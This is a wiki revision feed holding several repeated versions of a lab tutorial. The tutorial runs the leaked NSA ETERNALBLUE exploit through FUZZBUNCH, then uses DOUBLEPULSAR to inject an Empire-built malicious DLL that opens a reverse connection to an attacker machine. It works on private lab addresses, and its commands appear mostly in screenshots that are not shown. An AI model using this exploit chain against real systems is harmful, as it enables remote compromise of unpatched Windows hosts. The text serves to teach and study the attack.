- PyWin32 v2.12: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/&lt;br /&gt;
&lt;br /&gt;
- Notepad++: https://notepad-plus-plus.org/download/ (You can also use Notepad).&lt;br /&gt;
&lt;br /&gt;
All of them are executable installers so we can just press “next, next, next, accept, next…”.&lt;br /&gt;
&lt;br /&gt;
When we finish our installations, we must open a cmd.exe and move to the folder where the tool was&lt;br /&gt;
downloaded, punctually where the FUZZBUNCH: “fb.py” is (inside the folder shadowbrokermaster/Windows) and then execute “python fb.py”.&lt;br /&gt;
&lt;br /&gt;
You will see that it won’t run correctly, the script will show you an error because it’s not finding the&lt;br /&gt;
directory named “ListeningPost”. This happens because inside the leak that specific folder is empty. So,&lt;br /&gt;
to avoid that error we edit “fb.py” and simply comment the line number 72:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture.PNG]]&lt;br /&gt;
&lt;br /&gt;
After that, we proceed to open the Fuzzbunch.xml file that is inside the same folder in order that replace&lt;br /&gt;
the paths on the line 19 and 24 for other ones that we could have in our own system, for example:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture2.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Executing the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
Now, we can execute again the command “python fb.py” and we should see that FUZZBUNCH is doing it&lt;br /&gt;
correctly:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture3.PNG]]&lt;br /&gt;
&lt;br /&gt;
When we initialize FUZZBUNCH, it will ask for a target IP address, we must write our target IP (Windows&lt;br /&gt;
7/2008 machine).&lt;br /&gt;
&lt;br /&gt;
Immediately, it will ask for a callback’s IP, we must specify the attacker IP (Windows XP machine).&lt;br /&gt;
&lt;br /&gt;
[[File:Capture4.PNG]]&lt;br /&gt;
&lt;br /&gt;
Press “enter” to continue and it will ask for a name to the project. We used the one already created&lt;br /&gt;
&amp;quot;eternal1&amp;quot;. If you don’t have any, press “enter” to be asked for a name. With that data, the log folder for&lt;br /&gt;
that project will be created.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture5.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Using EternalBlue framework ===&lt;br /&gt;
&lt;br /&gt;
The first step is to select the exploit that we are going to use, which is ETERNALBLUE. So, we’ll execute&lt;br /&gt;
on the FUZZBUNCH terminal: “use EternalBlue”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture6.PNG]]&lt;br /&gt;
&lt;br /&gt;
From this point, we’ll use by default configurations in every parameter, EXCEPT at the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture7.PNG]]&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run ETERNALBLUE&lt;br /&gt;
&lt;br /&gt;
If all was as we expected, we should see the message “Eternalblue Succeeded”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture8.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Generating malicious DLL by using Empire===&lt;br /&gt;
&lt;br /&gt;
At this step, we need to create a malicious DLL (the Payload) which we’ll use with DOUBLEPULSAR to&lt;br /&gt;
remotely inject it into the target’s system previously impacted with ETERNALBLUE.&lt;br /&gt;
&lt;br /&gt;
To create the DLL, we need to move to the Linux attacker machine where we have installed the Empire&lt;br /&gt;
framework.&lt;br /&gt;
&lt;br /&gt;
Step 1: Set up a listener that can receive the reverse connection when the DLL is being injected&lt;br /&gt;
&lt;br /&gt;
[[File:Capture9.PNG]]&lt;br /&gt;
&lt;br /&gt;
Note: The IP address that we must to set at “Host” parameter is from the Linux attacker machine.&lt;br /&gt;
&lt;br /&gt;
Step 2: Create the malicious DLL&lt;br /&gt;
&lt;br /&gt;
[[File:Capture10.PNG]]&lt;br /&gt;
&lt;br /&gt;
Now we have our malicious DLL in /tmp/launcher.dll, we should simply copy that DLL to the Windows XP&lt;br /&gt;
attacker machine so we can use it with FUZZBUNCH.&lt;br /&gt;
&lt;br /&gt;
=== Injecting the malicious DLL via DoublePulsar ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Going back to the Windows XP attacker machine, we now run “use DoublePulsar” on the FUZZBUNCH&lt;br /&gt;
terminal.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture11.PNG]]&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=File:Capture11.PNG&amp;diff=120720</id>
		<title>File:Capture11.PNG</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=File:Capture11.PNG&amp;diff=120720"/>
		<updated>2017-04-30T17:02:23Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120719</id>
		<title>NSA - MS17-010</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120719"/>
		<updated>2017-04-30T16:57:32Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Generating malicious DLL by using Empire */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Microsoft Security Bulletin MS17-010 - NSA Tool leak ==&lt;br /&gt;
=== Introduction ===&lt;br /&gt;
&lt;br /&gt;
At last April 8, TheShadowBrokers has published a bunch of tools that was stolen from the NSA Arsenal&lt;br /&gt;
Hacker Tools. A Github repository is the following: https://github.com/misterch0c/shadowbroker.&lt;br /&gt;
In this paper, we’ll focus on ETERNALBLUE exploit for Microsoft Windows and the plugin&lt;br /&gt;
DOUBLEPULSAR. To leverage these “fantastic” codes, we’ll be using FUZZBUNCH, The NSA’s&lt;br /&gt;
“Metasploit”&lt;br /&gt;
&lt;br /&gt;
=== Why Eternalblue &amp;amp; DoublePulsar? ===&lt;br /&gt;
&lt;br /&gt;
ETERNALBLUE is the only one that can be used to attacking Windows 7 and Windows Server 2008 without needing authentication. After that, we&lt;br /&gt;
can use the plugin DOUBLEPULSAR in order that injecting remotely a malicious DLL on the target&lt;br /&gt;
machine.We wi ll make a malicious DLL using Empire to get&lt;br /&gt;
a reverse connection from the target to the attacker machine.&lt;br /&gt;
&lt;br /&gt;
=== Setting up Environment ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attacker:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7 ( To execute NSA tool ): &#039;&#039;&#039;192.168.0.106&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Kali Linux ( To generate DLL file and being a listener https://github.com/EmpireProject/Empire ): &#039;&#039;&#039;192.168.0.109&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Victim:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7/SVR2008 : &#039;&#039;&#039;192.168.0.107&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
We are going to use FUZZBUNCH, the NSA’s “Metasploit”. As mentioned above, this framework was&lt;br /&gt;
coded with Python 2.6 and it uses an old version of PyWin32: v2.12.&lt;br /&gt;
&lt;br /&gt;
Knowing that, we must install the following tools in our Windows XP attacker machine:&lt;br /&gt;
&lt;br /&gt;
- Python 2.6: https://www.python.org/download/releases/2.6/ (add it to the Windows’ PATH&lt;br /&gt;
environment variable)&lt;br /&gt;
&lt;br /&gt;
- PyWin32 v2.12: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/&lt;br /&gt;
&lt;br /&gt;
- Notepad++: https://notepad-plus-plus.org/download/ (You can also use Notepad).&lt;br /&gt;
&lt;br /&gt;
All of them are executable installers so we can just press “next, next, next, accept, next…”.&lt;br /&gt;
&lt;br /&gt;
When we finish our installations, we must open a cmd.exe and move to the folder where the tool was&lt;br /&gt;
downloaded, punctually where the FUZZBUNCH: “fb.py” is (inside the folder shadowbrokermaster/Windows) and then execute “python fb.py”.&lt;br /&gt;
&lt;br /&gt;
You will see that it won’t run correctly, the script will show you an error because it’s not finding the&lt;br /&gt;
directory named “ListeningPost”. This happens because inside the leak that specific folder is empty. So,&lt;br /&gt;
to avoid that error we edit “fb.py” and simply comment the line number 72:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture.PNG]]&lt;br /&gt;
&lt;br /&gt;
After that, we proceed to open the Fuzzbunch.xml file that is inside the same folder in order that replace&lt;br /&gt;
the paths on the line 19 and 24 for other ones that we could have in our own system, for example:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture2.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Executing the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
Now, we can execute again the command “python fb.py” and we should see that FUZZBUNCH is doing it&lt;br /&gt;
correctly:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture3.PNG]]&lt;br /&gt;
&lt;br /&gt;
When we initialize FUZZBUNCH, it will ask for a target IP address, we must write our target IP (Windows&lt;br /&gt;
7/2008 machine).&lt;br /&gt;
&lt;br /&gt;
Immediately, it will ask for a callback’s IP, we must specify the attacker IP (Windows XP machine).&lt;br /&gt;
&lt;br /&gt;
[[File:Capture4.PNG]]&lt;br /&gt;
&lt;br /&gt;
Press “enter” to continue and it will ask for a name to the project. We used the one already created&lt;br /&gt;
&amp;quot;eternal1&amp;quot;. If you don’t have any, press “enter” to be asked for a name. With that data, the log folder for&lt;br /&gt;
that project will be created.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture5.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Using EternalBlue framework ===&lt;br /&gt;
&lt;br /&gt;
The first step is to select the exploit that we are going to use, which is ETERNALBLUE. So, we’ll execute&lt;br /&gt;
on the FUZZBUNCH terminal: “use EternalBlue”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture6.PNG]]&lt;br /&gt;
&lt;br /&gt;
From this point, we’ll use by default configurations in every parameter, EXCEPT at the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture7.PNG]]&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run ETERNALBLUE&lt;br /&gt;
&lt;br /&gt;
If all was as we expected, we should see the message “Eternalblue Succeeded”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture8.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Generating malicious DLL by using Empire===&lt;br /&gt;
&lt;br /&gt;
At this step, we need to create a malicious DLL (the Payload) which we’ll use with DOUBLEPULSAR to&lt;br /&gt;
remotely inject it into the target’s system previously impacted with ETERNALBLUE.&lt;br /&gt;
&lt;br /&gt;
To create the DLL, we need to move to the Linux attacker machine where we have installed the Empire&lt;br /&gt;
framework.&lt;br /&gt;
&lt;br /&gt;
Step 1: Set up a listener that can receive the reverse connection when the DLL is being injected&lt;br /&gt;
&lt;br /&gt;
[[File:Capture9.PNG]]&lt;br /&gt;
&lt;br /&gt;
Note: The IP address that we must to set at “Host” parameter is from the Linux attacker machine.&lt;br /&gt;
&lt;br /&gt;
Step 2: Create the malicious DLL&lt;br /&gt;
&lt;br /&gt;
[[File:Capture10.PNG]]&lt;br /&gt;
&lt;br /&gt;
Now we have our malicious DLL in /tmp/launcher.dll, we should simply copy that DLL to the Windows XP&lt;br /&gt;
attacker machine so we can use it with FUZZBUNCH.&lt;br /&gt;
&lt;br /&gt;
=== Injecting the malicious DLL via DoublePulsar ===&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120717</id>
		<title>NSA - MS17-010</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120717"/>
		<updated>2017-04-30T16:56:57Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Generating malicious DLL by using Empire */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Microsoft Security Bulletin MS17-010 - NSA Tool leak ==&lt;br /&gt;
=== Introduction ===&lt;br /&gt;
&lt;br /&gt;
At last April 8, TheShadowBrokers has published a bunch of tools that was stolen from the NSA Arsenal&lt;br /&gt;
Hacker Tools. A Github repository is the following: https://github.com/misterch0c/shadowbroker.&lt;br /&gt;
In this paper, we’ll focus on ETERNALBLUE exploit for Microsoft Windows and the plugin&lt;br /&gt;
DOUBLEPULSAR. To leverage these “fantastic” codes, we’ll be using FUZZBUNCH, The NSA’s&lt;br /&gt;
“Metasploit”&lt;br /&gt;
&lt;br /&gt;
=== Why Eternalblue &amp;amp; DoublePulsar? ===&lt;br /&gt;
&lt;br /&gt;
ETERNALBLUE is the only one that can be used to attacking Windows 7 and Windows Server 2008 without needing authentication. After that, we&lt;br /&gt;
can use the plugin DOUBLEPULSAR in order that injecting remotely a malicious DLL on the target&lt;br /&gt;
machine.We wi ll make a malicious DLL using Empire to get&lt;br /&gt;
a reverse connection from the target to the attacker machine.&lt;br /&gt;
&lt;br /&gt;
=== Setting up Environment ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attacker:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7 ( To execute NSA tool ): &#039;&#039;&#039;192.168.0.106&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Kali Linux ( To generate DLL file and being a listener https://github.com/EmpireProject/Empire ): &#039;&#039;&#039;192.168.0.109&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Victim:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7/SVR2008 : &#039;&#039;&#039;192.168.0.107&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
We are going to use FUZZBUNCH, the NSA’s “Metasploit”. As mentioned above, this framework was&lt;br /&gt;
coded with Python 2.6 and it uses an old version of PyWin32: v2.12.&lt;br /&gt;
&lt;br /&gt;
Knowing that, we must install the following tools in our Windows XP attacker machine:&lt;br /&gt;
&lt;br /&gt;
- Python 2.6: https://www.python.org/download/releases/2.6/ (add it to the Windows’ PATH&lt;br /&gt;
environment variable)&lt;br /&gt;
&lt;br /&gt;
- PyWin32 v2.12: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/&lt;br /&gt;
&lt;br /&gt;
- Notepad++: https://notepad-plus-plus.org/download/ (You can also use Notepad).&lt;br /&gt;
&lt;br /&gt;
All of them are executable installers so we can just press “next, next, next, accept, next…”.&lt;br /&gt;
&lt;br /&gt;
When we finish our installations, we must open a cmd.exe and move to the folder where the tool was&lt;br /&gt;
downloaded, punctually where the FUZZBUNCH: “fb.py” is (inside the folder shadowbrokermaster/Windows) and then execute “python fb.py”.&lt;br /&gt;
&lt;br /&gt;
You will see that it won’t run correctly, the script will show you an error because it’s not finding the&lt;br /&gt;
directory named “ListeningPost”. This happens because inside the leak that specific folder is empty. So,&lt;br /&gt;
to avoid that error we edit “fb.py” and simply comment the line number 72:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture.PNG]]&lt;br /&gt;
&lt;br /&gt;
After that, we proceed to open the Fuzzbunch.xml file that is inside the same folder in order that replace&lt;br /&gt;
the paths on the line 19 and 24 for other ones that we could have in our own system, for example:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture2.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Executing the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
Now, we can execute again the command “python fb.py” and we should see that FUZZBUNCH is doing it&lt;br /&gt;
correctly:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture3.PNG]]&lt;br /&gt;
&lt;br /&gt;
When we initialize FUZZBUNCH, it will ask for a target IP address, we must write our target IP (Windows&lt;br /&gt;
7/2008 machine).&lt;br /&gt;
&lt;br /&gt;
Immediately, it will ask for a callback’s IP, we must specify the attacker IP (Windows XP machine).&lt;br /&gt;
&lt;br /&gt;
[[File:Capture4.PNG]]&lt;br /&gt;
&lt;br /&gt;
Press “enter” to continue and it will ask for a name to the project. We used the one already created&lt;br /&gt;
&amp;quot;eternal1&amp;quot;. If you don’t have any, press “enter” to be asked for a name. With that data, the log folder for&lt;br /&gt;
that project will be created.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture5.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Using EternalBlue framework ===&lt;br /&gt;
&lt;br /&gt;
The first step is to select the exploit that we are going to use, which is ETERNALBLUE. So, we’ll execute&lt;br /&gt;
on the FUZZBUNCH terminal: “use EternalBlue”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture6.PNG]]&lt;br /&gt;
&lt;br /&gt;
From this point, we’ll use by default configurations in every parameter, EXCEPT at the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture7.PNG]]&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run ETERNALBLUE&lt;br /&gt;
&lt;br /&gt;
If all was as we expected, we should see the message “Eternalblue Succeeded”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture8.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Generating malicious DLL by using Empire===&lt;br /&gt;
&lt;br /&gt;
At this step, we need to create a malicious DLL (the Payload) which we’ll use with DOUBLEPULSAR to&lt;br /&gt;
remotely inject it into the target’s system previously impacted with ETERNALBLUE.&lt;br /&gt;
&lt;br /&gt;
To create the DLL, we need to move to the Linux attacker machine where we have installed the Empire&lt;br /&gt;
framework.&lt;br /&gt;
&lt;br /&gt;
Step 1: Set up a listener that can receive the reverse connection when the DLL is being injected&lt;br /&gt;
&lt;br /&gt;
[[File:Capture9.PNG]]&lt;br /&gt;
&lt;br /&gt;
Note: The IP address that we must to set at “Host” parameter is from the Linux attacker machine.&lt;br /&gt;
&lt;br /&gt;
Step 2: Create the malicious DLL&lt;br /&gt;
&lt;br /&gt;
[[File:Capture10.PNG]]&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=File:Capture10.PNG&amp;diff=120716</id>
		<title>File:Capture10.PNG</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=File:Capture10.PNG&amp;diff=120716"/>
		<updated>2017-04-30T16:56:49Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=File:Capture9.PNG&amp;diff=120715</id>
		<title>File:Capture9.PNG</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=File:Capture9.PNG&amp;diff=120715"/>
		<updated>2017-04-30T16:56:18Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: Lphanvan uploaded a new version of File:Capture9.PNG&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=File:Capture9.PNG&amp;diff=120714</id>
		<title>File:Capture9.PNG</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=File:Capture9.PNG&amp;diff=120714"/>
		<updated>2017-04-30T16:56:16Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120713</id>
		<title>NSA - MS17-010</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120713"/>
		<updated>2017-04-30T16:53:54Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Using ETERNALBLUE. */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Microsoft Security Bulletin MS17-010 - NSA Tool leak ==&lt;br /&gt;
=== Introduction ===&lt;br /&gt;
&lt;br /&gt;
At last April 8, TheShadowBrokers has published a bunch of tools that was stolen from the NSA Arsenal&lt;br /&gt;
Hacker Tools. A Github repository is the following: https://github.com/misterch0c/shadowbroker.&lt;br /&gt;
In this paper, we’ll focus on ETERNALBLUE exploit for Microsoft Windows and the plugin&lt;br /&gt;
DOUBLEPULSAR. To leverage these “fantastic” codes, we’ll be using FUZZBUNCH, The NSA’s&lt;br /&gt;
“Metasploit”&lt;br /&gt;
&lt;br /&gt;
=== Why Eternalblue &amp;amp; DoublePulsar? ===&lt;br /&gt;
&lt;br /&gt;
ETERNALBLUE is the only one that can be used to attacking Windows 7 and Windows Server 2008 without needing authentication. After that, we&lt;br /&gt;
can use the plugin DOUBLEPULSAR in order that injecting remotely a malicious DLL on the target&lt;br /&gt;
machine.We wi ll make a malicious DLL using Empire to get&lt;br /&gt;
a reverse connection from the target to the attacker machine.&lt;br /&gt;
&lt;br /&gt;
=== Setting up Environment ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attacker:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7 ( To execute NSA tool ): &#039;&#039;&#039;192.168.0.106&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Kali Linux ( To generate DLL file and being a listener https://github.com/EmpireProject/Empire ): &#039;&#039;&#039;192.168.0.109&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Victim:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7/SVR2008 : &#039;&#039;&#039;192.168.0.107&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
We are going to use FUZZBUNCH, the NSA’s “Metasploit”. As mentioned above, this framework was&lt;br /&gt;
coded with Python 2.6 and it uses an old version of PyWin32: v2.12.&lt;br /&gt;
&lt;br /&gt;
Knowing that, we must install the following tools in our Windows XP attacker machine:&lt;br /&gt;
&lt;br /&gt;
- Python 2.6: https://www.python.org/download/releases/2.6/ (add it to the Windows’ PATH&lt;br /&gt;
environment variable)&lt;br /&gt;
&lt;br /&gt;
- PyWin32 v2.12: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/&lt;br /&gt;
&lt;br /&gt;
- Notepad++: https://notepad-plus-plus.org/download/ (You can also use Notepad).&lt;br /&gt;
&lt;br /&gt;
All of them are executable installers so we can just press “next, next, next, accept, next…”.&lt;br /&gt;
&lt;br /&gt;
When we finish our installations, we must open a cmd.exe and move to the folder where the tool was&lt;br /&gt;
downloaded, punctually where the FUZZBUNCH: “fb.py” is (inside the folder shadowbrokermaster/Windows) and then execute “python fb.py”.&lt;br /&gt;
&lt;br /&gt;
You will see that it won’t run correctly, the script will show you an error because it’s not finding the&lt;br /&gt;
directory named “ListeningPost”. This happens because inside the leak that specific folder is empty. So,&lt;br /&gt;
to avoid that error we edit “fb.py” and simply comment the line number 72:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture.PNG]]&lt;br /&gt;
&lt;br /&gt;
After that, we proceed to open the Fuzzbunch.xml file that is inside the same folder in order that replace&lt;br /&gt;
the paths on the line 19 and 24 for other ones that we could have in our own system, for example:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture2.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Executing the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
Now, we can execute again the command “python fb.py” and we should see that FUZZBUNCH is doing it&lt;br /&gt;
correctly:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture3.PNG]]&lt;br /&gt;
&lt;br /&gt;
When we initialize FUZZBUNCH, it will ask for a target IP address, we must write our target IP (Windows&lt;br /&gt;
7/2008 machine).&lt;br /&gt;
&lt;br /&gt;
Immediately, it will ask for a callback’s IP, we must specify the attacker IP (Windows XP machine).&lt;br /&gt;
&lt;br /&gt;
[[File:Capture4.PNG]]&lt;br /&gt;
&lt;br /&gt;
Press “enter” to continue and it will ask for a name to the project. We used the one already created&lt;br /&gt;
&amp;quot;eternal1&amp;quot;. If you don’t have any, press “enter” to be asked for a name. With that data, the log folder for&lt;br /&gt;
that project will be created.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture5.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Using EternalBlue framework ===&lt;br /&gt;
&lt;br /&gt;
The first step is to select the exploit that we are going to use, which is ETERNALBLUE. So, we’ll execute&lt;br /&gt;
on the FUZZBUNCH terminal: “use EternalBlue”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture6.PNG]]&lt;br /&gt;
&lt;br /&gt;
From this point, we’ll use by default configurations in every parameter, EXCEPT at the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture7.PNG]]&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run ETERNALBLUE&lt;br /&gt;
&lt;br /&gt;
If all was as we expected, we should see the message “Eternalblue Succeeded”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture8.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Generating malicious DLL by using Empire===&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120712</id>
		<title>NSA - MS17-010</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120712"/>
		<updated>2017-04-30T16:53:13Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Using EternalBlue framework */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Microsoft Security Bulletin MS17-010 - NSA Tool leak ==&lt;br /&gt;
=== Introduction ===&lt;br /&gt;
&lt;br /&gt;
At last April 8, TheShadowBrokers has published a bunch of tools that was stolen from the NSA Arsenal&lt;br /&gt;
Hacker Tools. A Github repository is the following: https://github.com/misterch0c/shadowbroker.&lt;br /&gt;
In this paper, we’ll focus on ETERNALBLUE exploit for Microsoft Windows and the plugin&lt;br /&gt;
DOUBLEPULSAR. To leverage these “fantastic” codes, we’ll be using FUZZBUNCH, The NSA’s&lt;br /&gt;
“Metasploit”&lt;br /&gt;
&lt;br /&gt;
=== Why Eternalblue &amp;amp; DoublePulsar? ===&lt;br /&gt;
&lt;br /&gt;
ETERNALBLUE is the only one that can be used to attacking Windows 7 and Windows Server 2008 without needing authentication. After that, we&lt;br /&gt;
can use the plugin DOUBLEPULSAR in order that injecting remotely a malicious DLL on the target&lt;br /&gt;
machine.We wi ll make a malicious DLL using Empire to get&lt;br /&gt;
a reverse connection from the target to the attacker machine.&lt;br /&gt;
&lt;br /&gt;
=== Setting up Environment ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attacker:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7 ( To execute NSA tool ): &#039;&#039;&#039;192.168.0.106&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Kali Linux ( To generate DLL file and being a listener https://github.com/EmpireProject/Empire ): &#039;&#039;&#039;192.168.0.109&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Victim:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7/SVR2008 : &#039;&#039;&#039;192.168.0.107&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
We are going to use FUZZBUNCH, the NSA’s “Metasploit”. As mentioned above, this framework was&lt;br /&gt;
coded with Python 2.6 and it uses an old version of PyWin32: v2.12.&lt;br /&gt;
&lt;br /&gt;
Knowing that, we must install the following tools in our Windows XP attacker machine:&lt;br /&gt;
&lt;br /&gt;
- Python 2.6: https://www.python.org/download/releases/2.6/ (add it to the Windows’ PATH&lt;br /&gt;
environment variable)&lt;br /&gt;
&lt;br /&gt;
- PyWin32 v2.12: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/&lt;br /&gt;
&lt;br /&gt;
- Notepad++: https://notepad-plus-plus.org/download/ (You can also use Notepad).&lt;br /&gt;
&lt;br /&gt;
All of them are executable installers so we can just press “next, next, next, accept, next…”.&lt;br /&gt;
&lt;br /&gt;
When we finish our installations, we must open a cmd.exe and move to the folder where the tool was&lt;br /&gt;
downloaded, punctually where the FUZZBUNCH: “fb.py” is (inside the folder shadowbrokermaster/Windows) and then execute “python fb.py”.&lt;br /&gt;
&lt;br /&gt;
You will see that it won’t run correctly, the script will show you an error because it’s not finding the&lt;br /&gt;
directory named “ListeningPost”. This happens because inside the leak that specific folder is empty. So,&lt;br /&gt;
to avoid that error we edit “fb.py” and simply comment the line number 72:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture.PNG]]&lt;br /&gt;
&lt;br /&gt;
After that, we proceed to open the Fuzzbunch.xml file that is inside the same folder in order that replace&lt;br /&gt;
the paths on the line 19 and 24 for other ones that we could have in our own system, for example:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture2.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Executing the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
Now, we can execute again the command “python fb.py” and we should see that FUZZBUNCH is doing it&lt;br /&gt;
correctly:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture3.PNG]]&lt;br /&gt;
&lt;br /&gt;
When we initialize FUZZBUNCH, it will ask for a target IP address, we must write our target IP (Windows&lt;br /&gt;
7/2008 machine).&lt;br /&gt;
&lt;br /&gt;
